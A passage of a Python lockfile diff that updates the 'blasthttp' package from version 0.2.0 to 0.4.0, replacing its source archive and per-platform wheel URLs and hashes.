{ name = "uvicorn", specifier = ">=0.32,<0.40" }, { name = "werkzeug", specifier = ">=2.3.4,<4.0.0" }, @@ -450,60 +450,60 @@ wheels = [ [[package]] name = "blasthttp" -version = "0.2.0" +version = "0.4.0" source = { registry = "https://pypi.org/simple" } -sdist = { url = "https://files.pythonhosted.org/packages/d1/41/74af6a882f37b58883f6f48f7e3d0227f5929f080df63cdf1fd82136d924/blasthttp-0.2.0.tar.gz", hash = "sha256:94b396c79e9a2391ea9c07270d88d6270fa049affaa31b923819d7cb5a40e602", size = 58106, upload-time = "2026-04-03T04:33:27.833Z" } -wheels = [ - { url = "https://files.pythonhosted.org/packages/9a/a4/145d8626afc086225e57ebe754c6f3e44343608e19154ed9f822640329c2/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:5913eadf36e84034c60b6a86b706992bad7014fb900569809105109d9d25348f", size = 4329675, upload-time = "2026-04-03T04:32:19.759Z" }, - { url = "https://files.pythonhosted.org/packages/3f/42/ae8d820486759d3356c480c3073cb43682af7bc057e8bd9ca7caac376456/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:b69664e2c1f3c7606cc301ee918f0cd8492532394d4e80ee7e501c78c4a29bc0", size = 3659544, upload-time = "2026-04-03T04:32:26.434Z" }, - { url = "https://files.pythonhosted.org/packages/e3/5c/7590c50ef72da9dc170bbcf2e29ab15229cd55a2615653efa33bc00a7b3d/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:c229dc156c4da74592ccc95dc20de66d1ad7b4215137a09a4a54a1fefe12dfec", size = 4220396, upload-time = "2026-04-03T04:32:46.236Z" }, - { url = "https://files.pythonhosted.org/packages/b2/20/dd550b3f39610494e0c23618d79c1b4cb19a918ddd619c840442d5660435/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:ca930a387dd6e9c38b2bf5d1b5afd5228007b53aec470b9e9d3ad199976b45d9", size = 4255998, upload-time = "2026-04-03T04:32:33.043Z" }, - { url = "https://files.pythonhosted.org/packages/13/26/30defc894e1eba93284db99cd5cc2850c0bfaf2c0bdf2cb1864cfb2d305a/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:ed103596860675bd80f62df2329db420e5902e19c6841a7ae48d9e9053f95ba3", size = 3863391, upload-time = "2026-04-03T04:32:39.918Z" }, - { url = "https://files.pythonhosted.org/packages/49/8c/626b70789b1974db181fb9963d592ada74e1ac9caa7df1b7497f33a213e6/blasthttp-0.2.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:511b13ac0d36875e3093202c7357c4e0ecf88cae4a222638f9d81399ade008b7", size = 4021982, upload-time = "2026-04-03T04:32:53.562Z" }, - { url = "https://files.pythonhosted.org/packages/d2/01/c75e926f36c646ba9991eef7b47d3e34679267948b5c2ef5ffdee0c1b359/blasthttp-0.2.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:93e9a2d5bf92aaa9310f3c2a69f479da508fad9ac0cb4ae9f18ce943bd5bb9a6", size = 4620989, upload-time = "2026-04-03T04:33:00.498Z" }, - { url = "https://files.pythonhosted.org/packages/b5/79/59bfe5a7395543badad6e01413f0a3eac46dec9fc48b5ff5c6a59d76b31a/blasthttp-0.2.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:fadd1864fc7da11b56fc455c5609229c8075b72d468cd241bad495cf361f79bf", size = 3962193, upload-time = "2026-04-03T04:33:08.002Z" }, - { url = "https://files.pythonhosted.org/packages/f3/82/2dd1f89f1fbc8528ccb60530263a5a74a3557783ed29bdaba0833268e60f/blasthttp-0.2.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:e58be764ebfc3b4e49fabd6df6d9d1c050940b585d4bd7655040f5c8713a7c38", size = 4367489, upload-time = "2026-04-03T04:33:14.263Z" }, - { url = "https://files.pythonhosted.org/packages/c8/0b/b6c902c368d3cbce14bad9077a48eac75f87859555f42a34b8ebbf02ed1c/blasthttp-0.2.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3689e259334384afd9b6e51b86b40f029f4cbc4d15328ee2df7a3d075b68ee8d", size = 4341965, upload-time = "2026-04-03T04:33:20.566Z" }, - { url = "https://files.pythonhosted.org/packages/ad/c0/90450af2a5dcc623db924a924c0a70adf3e95e2c0f6f3198a1a09ee7f590/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:d5616e6c282b552d06408d6819f0d1a978c26cf2a325190d925f29472463f6b5", size = 4326488, upload-time = "2026-04-03T04:32:21.184Z" }, - { url = "https://files.pythonhosted.org/packages/d1/c1/04b224e27fd0c50e77d5431a0bb3feb68b5e58738ae3b6d3e35b2a0820a5/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:ec670c9e488212b9c19c1ff5d377a18e67a12684dc472378c72646f562bdfea1", size = 3655940, upload-time = "2026-04-03T04:32:27.961Z" }, - { url = "https://files.pythonhosted.org/packages/9a/39/912f3e2868a20046b72282aa3297a555ba84776e1df56972e89b0029a0ba/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:c9d715be62edf5ca5a2b01c51e11a2626d12967b44f99d44aed66dedb1328709", size = 4218146, upload-time = "2026-04-03T04:32:47.8Z" }, - { url = "https://files.pythonhosted.org/packages/59/40/c878f73c60ab585862f51b6ac849041710a93c607abb26a42b868d0271da/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:a61bdaa41d8c2113022b20ed2e766327bdac0ef244a4b7688a46107d31c48f08", size = 4253976, upload-time = "2026-04-03T04:32:34.627Z" }, - { url = "https://files.pythonhosted.org/packages/f0/5c/0ae9a6f55366a1fc20198dd5eb7acbb503f5d4cca66d9a6f6195d7cbf160/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:8ea1c69d08fc95fb6f5ed90cd10175d4218cf96d4d326bfdc3c83de0f60feb03", size = 3859892, upload-time = "2026-04-03T04:32:41.132Z" }, - { url = "https://files.pythonhosted.org/packages/22/4d/6a60b8d386b467c0e8e33152738cc3c33abdee33855fc9af5126023a410d/blasthttp-0.2.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:60e97e1a1581a901af7f4442ced0ad17aa6574cfb7d1ac234dd057248df7a14d", size = 4019079, upload-time = "2026-04-03T04:32:55.077Z" }, - { url = "https://files.pythonhosted.org/packages/46/26/e622ecc31f6721d68b6a52426e92968c3fe39e00eecca463fce78921169e/blasthttp-0.2.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:5f3facae2a0e3be7eca3c7c0b4a112d5ef12fed8c4fe40c38c0b6e433b5ec884", size = 4616754, upload-time = "2026-04-03T04:33:01.864Z" }, - { url = "https://files.pythonhosted.org/packages/c2/38/084209f1f8e5575607ebe6fd7d31cdd95439bec53f525795a67545738c30/blasthttp-0.2.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:1b5f046b7571fe311af3b1f2cfac7b907beb072cf0f66b47a906f1a6f7d58cba", size = 3961015, upload-time = "2026-04-03T04:33:09.411Z" }, - { url = "https://files.pythonhosted.org/packages/dc/57/d69490381817665aaecd2b98fa0d616e51b9faf27bde9990e8dd9ee952c4/blasthttp-0.2.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:9934310b4e7e9b856b198dc34ef5b856d179cb37938a2f61338c2871bfbefd67", size = 4363684, upload-time = "2026-04-03T04:33:15.501Z" }, - { url = "https://files.pythonhosted.org/packages/39/20/dd70aa7e670e4973508a2fec7eabde0b1073a77763f906b488a5abca124f/blasthttp-0.2.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:565d364c78c949772dce9b9f14aa16a00492ef29a55758b5129f39015959f5dc", size = 4339653, upload-time = "2026-04-03T04:33:21.747Z" }, - { url = "https://files.pythonhosted.org/packages/03/94/bfcee47aa6726d3f305090e8ef2b1c3756eda97eedf792df48f4c5a4f9db/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:0313952af506b0810c429bd2e83c7174079646811ee31144a5d2f021863be4ca", size = 4325829, upload-time = "2026-04-03T04:32:22.424Z" }, - { url = "https://files.pythonhosted.org/packages/53/69/412d1b74c06d1ecf52d4a31591b2b9ac02fb1c7bc9ba12ec7a875e815c35/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:ce01d0416fd4a2e0e1c384683d939bc9f24c81075b0e696a5a4b971cbb89ea61", size = 3652836, upload-time = "2026-04-03T04:32:29.445Z" }, - { url = "https://files.pythonhosted.org/packages/83/31/c427e70a70d5f7e26135d3cbc5d238c41ae25ac230a45891096bf49b7569/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:73a63f3f10586893f9fc553d6c1909a27a7262b46758721bc22a7c7ab2048b41", size = 4215009, upload-time = "2026-04-03T04:32:49.262Z" }, - { url = "https://files.pythonhosted.org/packages/fa/a9/4aa4d31ed5bfca64a954ec8b30f239330ecbaa2e7bf8904e072775c02958/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:1c4d80c608ee1d804cd0a31407d20ad6eb6c8b95b364852d811bb3b47f28fb96", size = 4255433, upload-time = "2026-04-03T04:32:35.974Z" }, - { url = "https://files.pythonhosted.org/packages/bd/20/c87ba23fbaeca4b481b57d90f283093291acde26e30fcd532ebef0f9c676/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:83c835a6d22299f14ed829648b4297bdcfa348604d1e9b59af502eb3a425aa3e", size = 3859175, upload-time = "2026-04-03T04:32:42.305Z" }, - { url = "https://files.pythonhosted.org/packages/7e/2d/8150eaeeeb031ddb878dbabfc951bea80c2e5926820a897767c52fa22a8b/blasthttp-0.2.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:3bcb5bfeb2cd616dc9e5124377e19bbff4578062c697bc25bbecb89d5bf38c01", size = 4020354, upload-time = "2026-04-03T04:32:56.362Z" }, - { url = "https://files.pythonhosted.org/packages/c9/ca/2e3c76bbcda25cf5b736d45d2291c86417eaa4a49cdfecede7d9395a5989/blasthttp-0.2.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:1148b5995b587d7cceeaf3216cc37f7c80d5cf47c48a5fc846b5a82bf3a93714", size = 4616044, upload-time = "2026-04-03T04:33:03.42Z" }, - { url = "https://files.pythonhosted.org/packages/7f/9f/47356ba8441beff2a6c728f6a6a8c88e75bc6f7b10b232f4d38fcedbfb81/blasthttp-0.2.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:947011d25059e48de9511bb8ff25c738059b81a1305191d9ea65ea03c25c43f6", size = 3958179, upload-time = "2026-04-03T04:33:10.647Z" }, - { url = "https://files.pythonhosted.org/packages/c4/86/0f6dff3c0067e622980253e8f75924437f328a1179cfd3869b1eed472dca/blasthttp-0.2.0-cp312-cp312-musllinux_1_2_i686.whl", hash = "sha256:0a9cd1f6dcf0070e2ccb8275196077de2abd04856718859579d306cbc7a6780e", size = 4360650, upload-time = "2026-04-03T04:33:16.99Z" }, - { url = "https://files.pythonhosted.org/packages/3c/ca/c3456609fa332dde2e87e95549d99d958a511f0295c104ab95b1b490b1e6/blasthttp-0.2.0-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:644eb9861303113a3ff3780e943c72f440835f0f0d3f73f1280ded8e10a4e5f0", size = 4340404, upload-time = "2026-04-03T04:33:23.294Z" }, - { url = "https://files.pythonhosted.org/packages/63/32/04c3fdb7b0ce2f75af24bc908f8eab4d3f1005929554d0994da25485777e/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:9f11a353be8da6d7474a4299538b207a14828923bcd7560718453ffc426633ec", size = 4326834, upload-time = "2026-04-03T04:32:23.821Z" }, - { url = "https://files.pythonhosted.org/packages/51/a9/553833776745cb17693cac4dd03b3b38c13b1ff5582dd260ad857e7006da/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_armv7l.whl", hash = "sha256:c818ac0b0f4515f7dc08000c09ef51a51edeb46c363650149854c1b449df5e84", size = 3654702, upload-time = "2026-04-03T04:32:30.663Z" }, - { url = "https://files.pythonhosted.org/packages/ec/37/d25564e28a0d7e76aa61d0ba0dba9f2c644536a054f01414df02e5844a5b/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_i686.whl", hash = "sha256:761668e903581d3fff7ce23e4cfb7d5f81331c3ae90ad9af224c053b28812c16", size = 4212839, upload-time = "2026-04-03T04:32:50.56Z" }, - { url = "https://files.pythonhosted.org/packages/4a/9c/fb281fe2af54bb30851c55973fc96f62d6f910b8a5510e2acb1d6c27011a/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:cb98ca7478a7e09509c3223514c2c3f06aae54d09afe77fd29d42933731f9407", size = 4253492, upload-time = "2026-04-03T04:32:37.448Z" }, - { url = "https://files.pythonhosted.org/packages/3b/f4/a76d12aa5bf9df6020dddd9ae6b79081356d8a338f39f44fcf07ebbf06c5/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:8232cd36ff05be76565d61e6b141b2bddc79e4a359d137a6810767cb5e6f6424", size = 3859735, upload-time = "2026-04-03T04:32:43.583Z" }, - { url = "https://files.pythonhosted.org/packages/1f/5e/5c38aec9625b2dca2290a1f4a0c7e4925dd0d82dbbc00bac7273e415cc32/blasthttp-0.2.0-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:400c95f58b1fbe21ae1209780f27014c47e4b302cbb3c2fcbf18a48c7c59d090", size = 4019837, upload-time = "2026-04-03T04:32:57.578Z" }, - { url = "https://files.pythonhosted.org/packages/48/e5/68a003b4ce28bf9309501bbfe2f1c96341542edeb648f0a3287b223196a4/blasthttp-0.2.0-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:622e4c953b8a70c70d7b0ca6f1d54de1bf0f2ef4eafab9245f6fca9102f4f03b", size = 4616450, upload-time = "2026-04-03T04:33:04.766Z" }, - { url = "https://files.pythonhosted.org/packages/4e/f9/4f73dea2371094ca336aa5a90c4c5171382ba98553552f3e639d4e924316/blasthttp-0.2.0-cp313-cp313-musllinux_1_2_armv7l.whl", hash = "sha256:d1748052f2f378a56cff91f0c6f567a24e2d24640ab45076013434c870b6abcf", size = 3959757, upload-time = "2026-04-03T04:33:11.859Z" }, - { url = "https://files.pythonhosted.org/packages/b6/f8/921e049ed1a72e7d1d4444b5c457ac020ca88f5b0b39b8a94273b91446db/blasthttp-0.2.0-cp313-cp313-musllinux_1_2_i686.whl", hash = "sha256:2dd4fc6c5da320f2f3a46dba9f05766cdf627a5de8eb6edc249eb10ac6204380", size = 4358090, upload-time = "2026-04-03T04:33:18.156Z" }, - { url = "https://files.pythonhosted.org/packages/70/49/e6d214ea29d874fc62004d5514e562281a3c5b745f06d8cc3f9dd1ae5407/blasthttp-0.2.0-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:5e366ed494a4ccff35248d26a88b143d0e784c6741058f360859691e04cd5d75", size = 4340178, upload-time = "2026-04-03T04:33:25.093Z" }, - { url = "https://files.pythonhosted.org/packages/11/ac/db0abd5969e7146fda4fcd6957c479d3dd793185b2f0405a122af275b616/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_aarch64.whl", hash = "sha256:5567a9e1be296b165cfd1765f5ae42cfb5cc0d76b2b4eb249cd45ef120a84991", size = 4325710, upload-time = "2026-04-03T04:32:25.211Z" }, - { url = "https://files.pythonhosted.org/packages/a8/83/6c3608324775ab6c0cbaaed926b11e47bfab75bf77cc433371d152919088/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_armv7l.whl", hash = "sha256:0c5bcb67b9a9446530d8b7c796dde2cbe7a10c0ef88828bd29520de666587fda", size = 3654962, upload-time = "2026-04-03T04:32:31.824Z" }, - { url = "https://files.pythonhosted.org/packages/98/bf/1fe69d59196ff02f61100b1bb20ad5dc0d41f3159877293fa9b920f65d27/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_i686.whl", hash = "sha256:4c2a966e6ec4bf57dc080c27c65110592cc2e1eb499073c8c7aa70b0351b8f8d", size = 4213633, upload-time = "2026-04-03T04:32:52.007Z" }, - { url = "https://files.pythonhosted.org/packages/85/0f/862810e581fd8cad5140c549fc0df706f11f3fb7074a1819b52867871c6f/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_ppc64le.whl", hash = "sha256:b2fcc5a36846e1ab14c2c874bb98b3673275ba1f91128d1d134168e7f0469662", size = 4253218, upload-time = "2026-04-03T04:32:38.697Z" }, - { url = "https://files.pythonhosted.org/packages/81/76/f92fb9b304080453e15fa6cf84c716ac64d21d717e4f850183c56eab7633/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_s390x.whl", hash = "sha256:fa180f2b1ec7db5755b1e267a413f73f3d39ff31f20be1ec033a367ceadd2b65", size = 3858420, upload-time = "2026-04-03T04:32:45.021Z" }, - { url = "https://files.pythonhosted.org/packages/60/5b/418661b162c8a356adfff5266d0937d43ce8a5ae7424f6feddcb58c36020/blasthttp-0.2.0-cp314-cp314-manylinux_2_28_x86_64.whl", hash = "sha256:4f32a0df53bc0ec3a7f1b18e7b204b093eb60034ae34b0aad62587b5f79b7767", size = 4020170, upload-time = "2026-04-03T04:32:58.948Z" }, - { url = "https://files.pythonhosted.org/packages/79/7a/56d23094548aca867cbb03b2889c3bce309f59334f1c3dadba1e78204a5a/blasthttp-0.2.0-cp314-cp314-musllinux_1_2_aarch64.whl", hash = "sha256:d958dc62c2006ecd05660bbfb5f7e549c53d8aa35ee0e3fca51c4d7cdb58d485", size = 4616169, upload-time = "2026-04-03T04:33:06.046Z" }, - { url = "https://files.pythonhosted.org/packages/4d/9c/232492eac2e5f2a6ef232317d9fa0373b7bfe98e2fb72fcf356f8893b4fc/blasthttp-0.2.0-cp314-cp314-musllinux_1_2_armv7l.whl", hash = "sha256:ba290ff36e3cf5905f19f008185350ab3c376b73a3064fd776a8b08e56e3dd7d", size = 3958090, upload-time = "2026-04-03T04:33:13.07Z" }, - { url = "https://files.pythonhosted.org/packages/72/3b/584c05f053760f9a68ce743ca34de313b72323fd6a99362af17a466acfa2/blasthttp-0.2.0-cp314-cp314-musllinux_1_2_i686.whl", hash = "sha256:308e0feb2360b90ceb90c8cf70e29c0b07ec5f3946bf54dfc5124b69b01e99e4", size = 4356563, upload-time = "2026-04-03T04:33:19.333Z" }, - { url = "https://files.pythonhosted.org/packages/c8/8e/f3c0d5563523dcd16705977a75cb460b77f1eac236eee04be33927930160/blasthttp-0.2.0-cp314-cp314-musllinux_1_2_x86_64.whl", hash = "sha256:db61cc79fd0843ff2d9b016d4578901955a7758fcddabc5ac843a60dfbc80569", size = 4340145, upload-time = "2026-04-03T04:33:26.484Z" }, +sdist = { url = "https://files.pythonhosted.org/packages/90/86/0dd004f90fa242271b18e4767714969b92bd8bbedeb0eaf17924f9638aea/blasthttp-0.4.0.tar.gz", hash = "sha256:9c2280e8fe6aea609e6bb5c3801f9933798bdd397b0f9e6438e4dd4dc2a38599", size = 111609, upload-time = "2026-05-01T16:11:37.758Z" } +wheels = [ + { url = "https://files.pythonhosted.org/packages/7c/f2/2c93f63eb949bed093b51841334a7f0e55b4f33c391abece72a9fd486d18/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:b4685f7b9958900d277fbef4779441b64d9041a80eede1cb75ece786030837ef", size = 4566226, upload-time = "2026-05-01T16:10:17.651Z" }, + { url = "https://files.pythonhosted.org/packages/c6/44/a47fad5edd6ac09f76c9ec08d9816dc67ea1fa74b92a8a6af6f3b39c533b/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_armv7l.whl", hash = "sha256:7e941013fc1b4a847e8ea5af28bfbe846c15c9062b54feef9e441afc9f5116c8", size = 3887426, upload-time = "2026-05-01T16:10:25.704Z" }, + { url = "https://files.pythonhosted.org/packages/60/0e/4160d21a3bcfc0889ef3414b239dc24fd92320feac6c25ae545fe8867bba/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_i686.whl", hash = "sha256:5ba87482dfed7c242c4707f85a4888d3799e443a55d821d426eb97e7429bded3", size = 4467981, upload-time = "2026-05-01T16:10:49.799Z" }, + { url = "https://files.pythonhosted.org/packages/b2/8f/9cc581d5407c4340239b097238e9f8a55c9bcbd2d0336419b10e14e09edf/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:67c3b8f470ab0a86c7060811e4e21433a81bb507ba9c9a21cc8abc3a7d651239", size = 4472838, upload-time = "2026-05-01T16:10:33.591Z" }, + { url = "https://files.pythonhosted.org/packages/44/12/1d7b61e76c684a31b081b086dc3558a0d7cd39050488ebf722d13d9cf15e/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:d2a59cde9750782c56c6220c8d5c1af741f052e070f6015dfe81f0cc1ab11c39", size = 4096366, upload-time = "2026-05-01T16:10:41.958Z" }, + { url = "https://files.pythonhosted.org/packages/e3/90/f411e41e55771f29dfec1a33b157f79bdce299bbe3f4865ac9d1b7bec7ae/blasthttp-0.4.0-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:fec615295b33d76895bf047f2109cc41d1b5775bc5db40bc5c73b7b98bebfcdf", size = 4230482, upload-time = "2026-05-01T16:10:57.34Z" }, + { url = "https://files.pythonhosted.org/packages/cb/e2/58c0d6975195f3ec9fc96313850457a8fc0feb7d5e90049f250bca3009ce/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:f05bd49b19294d2ee74d6e3bf038b22363db9abe0df4d47d174d9100c569efbd", size = 4857209, upload-time = "2026-05-01T16:11:05.558Z" }, + { url = "https://files.pythonhosted.org/packages/fe/35/560c6ef2a7616d1cb0d6caaf7296491d72fa1eb07f49e654dca346d11c4b/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_armv7l.whl", hash = "sha256:2ab3dd4fb4e02b2b4c5d85e31598d49ad3d44292a94ad6c4e76f8e5ab01e9420", size = 4191448, upload-time = "2026-05-01T16:11:13.509Z" }, + { url = "https://files.pythonhosted.org/packages/a4/2d/14741faa212e0541254790b2735bc269beed27e4d4ca51324e697c912bb1/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_i686.whl", hash = "sha256:8df2a897e01a27c2caed3f7604e2dabb69a3e1c54834283c2f0cfbba48e4a6df", size = 4607221, upload-time = "2026-05-01T16:11:21.33Z" }, + { url = "https://files.pythonhosted.org/packages/30/3f/631cce54d4ce277e28ff7ed7e74703ea41f8d4ba872c72bd7f1376aa94ff/blasthttp-0.4.0-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:6fea4489e0e590140d3890983e9197d6348b40b3e225a339d6af2b6a74a8ae7b", size = 4564472, upload-time = "2026-05-01T16:11:29.379Z" }, + { url = "https://files.pythonhosted.org/packages/d1/a9/7cae1cc77a1eeefed8c2727b12e72935f66ec19ef5518c2c01eca25c76ca/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:693a1379940102187b53d96152c150b3771c9eb22d89de1f42cd0d2e21420153", size = 4563775, upload-time = "2026-05-01T16:10:19.162Z" }, + { url = "https://files.pythonhosted.org/packages/a9/01/a462eaab0771413ad448aef0ce28259a054bac1da8dd59a9a25f1e7a2e86/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_armv7l.whl", hash = "sha256:aab65d1d8e4e837a180f8a6db0d9d16d662319dca054fa694daa37080cebe22b", size = 3885817, upload-time = "2026-05-01T16:10:27.457Z" }, + { url = "https://files.pythonhosted.org/packages/4d/7b/9569080a6f46d2465f25e1e7fb2ce7db1b096b7a66d72ecf95da177a303c/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_i686.whl", hash = "sha256:acb396238e7704dc5bbf104be8b60f8bd0ecda9320051474eaefb8974168e7b6", size = 4465003, upload-time = "2026-05-01T16:10:51.55Z" }, + { url = "https://files.pythonhosted.org/packages/45/37/84a897080c47bc401c41f661a4c05879d85bd97d12c0799f553144385c19/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:c0199cea79e8bdf49ea9c70d06771ca60618382940aac0d9a22ef3f101517c0a", size = 4472062, upload-time = "2026-05-01T16:10:35.357Z" }, + { url = "https://files.pythonhosted.org/packages/da/e5/6ae9f82d7f317d3a406b0d47ca9255c724c473caa365cd30b63ac735456f/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:cb081c0b53761e6ca30742d706c039f1186c38f2804230403db4856dc83d4079", size = 4091245, upload-time = "2026-05-01T16:10:43.67Z" }, + { url = "https://files.pythonhosted.org/packages/e5/20/91c8720d7be6722f72d161b09ecc077a8be66c9a798fdd928013cb1a3bfa/blasthttp-0.4.0-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:6c91056098933aeb0380d43716379d431d06c1945ce0a567e7cf7c3f77b4784f", size = 4227936, upload-time = "2026-05-01T16:10:59.137Z" }, + { url = "https://files.pythonhosted.org/packages/fd/e7/92a5f0ee00d85198a30566317535ff89855cdc0a97c77f857c95bb0b9fdc/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:99655b1ab1f580b451067d7613e28f45b9e333fd62fdeecb2790cc4a4c2b3c45", size = 4854465, upload-time = "2026-05-01T16:11:07.143Z" }, + { url = "https://files.pythonhosted.org/packages/03/a5/a26599dfcf7484b2f60df00aede182b5a7abe1296dfd1e36c196229d700a/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_armv7l.whl", hash = "sha256:a20e7656a7cfb3586325c5857dd542e8d33626a7b59919a0410018e0ea8963c9", size = 4187569, upload-time = "2026-05-01T16:11:15.031Z" }, + { url = "https://files.pythonhosted.org/packages/73/9d/a790bba458ac9ffe13581dbd5e1720ab611b1d97a412951db54c82299935/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_i686.whl", hash = "sha256:ae8156905d1389fe86151b989694c6a04f31810b989de6fb1369407b3ca459de", size = 4602503, upload-time = "2026-05-01T16:11:23.022Z" }, + { url = "https://files.pythonhosted.org/packages/44/5f/4e55bc49eb56e9bfd2c89d2dd6dca954c217b79e25b9b701d90d5b3162a5/blasthttp-0.4.0-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:49f6a1fd2dc3fb04884af2c7a49724a86b8110d3ffcd2af8617f57e4cddbcf77", size = 4562715, upload-time = "2026-05-01T16:11:31.341Z" }, + { url = "https://files.pythonhosted.org/packages/54/54/d40f61c10a7115d9daa553879a0642124f24b716faf7dff2674301a42eed/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:702262236f06ec08517bf18560bf2f8f26e5fbdac4f96ae36f57c8a104c4c15b", size = 4561829, upload-time = "2026-05-01T16:10:20.729Z" }, + { url = "https://files.pythonhosted.org/packages/53/6b/6f349ed6d27f42fa8f4a9842a713d6e56b353c2284c00191f7c745eada0c/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_armv7l.whl", hash = "sha256:a4b027c113ef6a6c4a454679a0194aadfffb124392982ccf1ef7eb5c33334f83", size = 3878225, upload-time = "2026-05-01T16:10:28.901Z" }, + { url = "https://files.pythonhosted.org/packages/40/47/1cf7005e655bb3513fb849f0f7475139ea2d9e9f4bd342561ecc6d078ab7/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_i686.whl", hash = "sha256:4e1470ca76bc46909e335b4ee8b4d4b72611f765672388d2c3c89df5d7b5a591", size = 4458508, upload-time = "2026-05-01T16:10:52.963Z" }, + { url = "https://files.pythonhosted.org/packages/16/b6/6d1d6abd8e28911513fdcd01bc8edbb03fec938b52b50c222fe19115fb77/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:18d4476e3778aa28350386e76f7227b571fa7d058f69227d22c99081a000de14", size = 4469432, upload-time = "2026-05-01T16:10:37.016Z" }, + { url = "https://files.pythonhosted.org/packages/9f/44/67fbdf7a040372bfcfd8a8a737d792d442602e2d0d7416f2a7938994109c/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:0f6fe7287e3f5ecd51959b67484f17160ac71d744d60d274125e4d012a7ba748", size = 4090502, upload-time = "2026-05-01T16:10:44.969Z" }, + { url = "https://files.pythonhosted.org/packages/d4/f1/95ef78dbfad4626c70e26b0d3fd19352e0d634c4edd3d06a13edb77ee651/blasthttp-0.4.0-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:6a052865813d60dca690fb9561f8d60c96d93ecfb8001434dc7efef1454c0b16", size = 4225151, upload-time = "2026-05-01T16:11:00.58Z" }, + { url = "https://files.pythonhosted.org/packages/f6/4d/2af0d419952c152f4505d74fbc90f01efdda21618e965d7f60f3cd510f4d/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:34d872d366f4e7c2db88245a06884c155f0ff4746d5b78ebd46910d3044c4443", size = 4851561, upload-time = "2026-05-01T16:11:08.918Z" }, + { url = "https://files.pythonhosted.org/packages/71/49/b64aac3e321016629d2fef12806be50791cfd22d2ddda2bd9a2467cbed40/blasthttp-0.4.0-cp312-cp312-musllinux_1_2_armv7l.whl", hash = "sha256:f852ee3b73d75cdb19fc5d8cc6c9982af43e0b59fae168339530bb47da0c29b8", size = 4179050, upload-time = "2026-05-01T16:11:16.692Z" }, + { url = 